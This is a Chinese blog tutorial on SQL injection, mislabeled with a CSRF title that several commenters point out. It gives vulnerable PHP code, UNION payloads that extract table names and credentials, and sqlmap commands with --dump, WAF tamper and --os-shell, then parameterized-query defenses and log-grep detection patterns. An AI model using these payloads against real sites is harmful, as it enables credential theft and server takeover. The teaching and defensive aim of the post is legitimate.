CSRF 跨站请求伪造攻防实战

爪 爪
爪 爪
爪 爪
编辑
59
文章
0
粉丝
SQL注入 Web安全 信息安全 渗透测试301,247字数 817阅读2分43秒阅读模式
AI智能摘要
AI 生成的文章内容摘要

一、什么是 SQL 注入?

2025 年某大型电商平台遭遇 SQL 注入攻击,攻击者通过商品搜索框注入恶意 SQL 语句,获取了 50 万用户的个人信息。这并非个例,根据 Veracode 报告,46% 的应用存在 SQL 注入风险
CSRF 跨站请求伪造攻防实战
SQL 注入的本质:用户输入被当作 SQL 代码执行

1.1 漏洞成因

// 危险代码示例
$userid = $_GET["id"];
$sql = "SELECT * FROM users WHERE id = $userid";
$result = mysqli_query($conn, $sql);

当用户访问 `?id=1 OR 1=1` 时,SQL 变为:

SELECT * FROM users WHERE id = 1 OR 1=1

结果:返回所有用户数据!

1.2 注入类型

类型 特点 检测难度
联合查询注入 使用 UNION 合并结果 容易
盲注 无回显,通过响应时间判断 中等
报错注入 利用数据库错误信息 容易
时间盲注 通过 SLEEP() 延时判断 困难

---

二、实战:手工检测 SQL 注入

2.1 基础测试

# 测试点:搜索框、URL 参数、表单输入
# 测试 payload ?id=1 ?id=1' ?id=1" ?id=1 AND 1=1 ?id=1 AND 1=2

判断标准

  • 页面正常 → 可能存在注入
  • 报错 → 可能存在注入
  • 页面异常 → 可能无注入

2.2 联合查询注入

# 判断字段数
?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3--
# 当 ORDER BY 4 时报错 → 字段数为 3
# 确定显示位 ?id=-1 UNION SELECT 1,2,3-- # 页面显示 2 和 3 → 这两个是显示位
# 获取数据库信息 ?id=-1 UNION SELECT 1,database(),version()--
# 获取表名 ?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
# 获取列名 ?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name="users"--
# 获取数据 ?id=-1 UNION SELECT 1,group_concat(username,":",password),3 FROM users--

三、自动化:SQLMap 使用指南

3.1 基础扫描

# 检测注入点
sqlmap -u "http://target.com/page?id=1"
# 获取数据库 sqlmap -u "http://target.com/page?id=1" --dbs
 
# 获取表 sqlmap -u "http://target.com/page?id=1" -D database --tables
 
# 获取列 sqlmap -u "http://target.com/page?id=1" -D database -T users --columns
 
# 获取数据 sqlmap -u "http://target.com/page?id=1" -D database -T users -C username,password --dump

3.2 高级用法

# POST 注入
sqlmap -u "http://target.com/login" --data="username=admin&password=123"
# Cookie 注入 sqlmap -u "http://target.com/page" --cookie="sessionid=abc123"
 
# 绕过 WAF sqlmap -u "http://target.com/page?id=1" --tamper=space2comment
 
# 获取 shell sqlmap -u "http://target.com/page?id=1" --os-shell

---

四、SQL 注入防御方案

4.1 参数化查询(推荐)

// ✅ 正确做法
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(["id" => $_GET["id"]]);
$user = $stmt->fetch();

4.2 输入验证

// 白名单验证
$allowed_ids = [1, 2, 3, 4, 5];
if (!in_array($_GET["id"], $allowed_ids)) {
    die("非法参数");
}
// 类型转换 $id = intval($_GET["id"]);

4.3 ORM 框架

// Laravel Eloquent
$user = User::find($id);
// ThinkPHP $user = Db::name("users")->find($id);

---

五、应急响应:发现 SQL 注入后

5.1 紧急处置

1. 立即下线受影响页面
2. 修改数据库密码
3. 检查数据库是否被篡改
4. 分析日志确定攻击范围
5. 修复漏洞并重新上线

5.2 日志分析

# 查找 SQL 注入特征
grep -E "UNION|SELECT|AND 1=1|SLEEP(" access.log
# 统计攻击 IP grep "SELECT" access.log | awk "{print $1}" | sort | uniq -c | sort -rn

 

六、总结

SQL 注入防御核心:永远不要信任用户输入

防御优先级

1. 参数化查询(必须)
2. 输入验证(必须)
3. 最小权限原则(推荐)
4. WAF 防护(辅助)
---
作者:爪
分类:Web 安全
标签:SQL 注入、Web 安全、渗透测试漏洞挖掘、安全防御
发布时间:2026-04-20

 
爪 爪
  • 本文由 爪 爪 发表于2026年4月20日 21:10:08
评论  30  访客  30
    • 星辉低语
      星辉低语 0

      sqlmap现在还能绕waf不,感觉很多都拦了

      • 墨子贤
        墨子贤 1

        之前搞过手工注入,确实挺费劲的,union select敲半天

        • PartyPhantom
          PartyPhantom 1

          这代码示例看得我头皮发麻,真有人这么写啊

          • 凌夜
            凌夜 0

            为啥标题是csrf啊,点进来一脸懵逼🤔

            • 熊猫胖达
              熊猫胖达 1

              参数化查询确实靠谱

              • 喵星人代表
                喵星人代表 1

                标题写的CSRF,内容是SQL注入,作者是不是发错文章了

                • 傲世者
                  傲世者 1

                  orm也不是万能的,之前见过拼接的

                  • 数据旅者
                    数据旅者 1

                    盲注有没有快点的技巧,time based太慢了

                    • VampireSigh
                      VampireSigh 1

                      还有种二次注入,文章好像没提,就是在update的时候

                      • 酷到没朋友
                        酷到没朋友 1

                        看完还是不敢动手试,怕出事

                        • 剑客凌风
                          剑客凌风 1

                          标题写错了吧,CSRF 和 SQL 注入完全是两码事啊。

                          • 默默围观群众
                            默默围观群众 1

                            盲注太耗时间了,有没有什么加速的小技巧?

                              • 星河引路者
                                星河引路者 1

                                @ 默默围观群众 用二分法搞盲注效率高很多,不用一个个试。

                              • 派对灵魂
                                派对灵魂 1

                                这代码看着真吓人,现在还有人这么写?

                                • 啵啵虎崽
                                  啵啵虎崽 1

                                  二次注入确实坑,update 那块最容易中招。

                                  • 会飞的榴莲
                                    会飞的榴莲 1

                                    参数化查询是底线,别的都是辅助手段。

                                    • 天使Noah
                                      天使Noah 0

                                      sqlmap 绕 WAF 越来越难了,得看版本。

                                        • 月影琉璃
                                          月影琉璃 1

                                          @ 天使Noah 是啊,现在的WAF都成精了,默认tamper根本过不去。

                                        • TacoSaurus
                                          TacoSaurus 1

                                          ORM 有时候也会漏,还是得自己多检查。

                                            • 春水碧于天
                                              春水碧于天 1

                                              @ TacoSaurus 确实,有些复杂查询一用原生SQL就容易出事。

                                            • 生活家
                                              生活家 1

                                              不敢乱试,怕把数据库搞崩了😭

                                              • 黑洞吟游诗人
                                                黑洞吟游诗人 0

                                                之前手工测过,敲 UNION SELECT 手都酸了。

                                                • The Social Dynamo
                                                  The Social Dynamo 1

                                                  作者是不是把 CSRF 的稿子发成 SQL 的了?

                                                  • 山月如钩
                                                    山月如钩 0

                                                    标题确实乌龙了,不过SQL注入这块讲得还行。

                                                    • 茶子
                                                      茶子 1

                                                      防御这块讲得挺实在,参数化查询保平安。

                                                      • 影蚀傀儡师
                                                        影蚀傀儡师 1

                                                        哎,上次手滑把测试库删了,吓出一身冷汗。

                                                        • 玄天鬼
                                                          玄天鬼 1

                                                          那个50万数据的案例是哪年的?看着有点眼熟。

                                                          • Mystery Maven
                                                            Mystery Maven 1

                                                            sqlmap –os-shell 这个现在实战里很难利用成功吧?

                                                            • 绯红契约
                                                              绯红契约 1

                                                              参数化查询确实是保命符,写代码时别偷懒啊

                                                              • 寂灭之光
                                                                寂灭之光 1

                                                                标题是不是写错了?

                                                              匿名

                                                              发表评论

                                                              匿名网友

                                                              拖动滑块以完成验证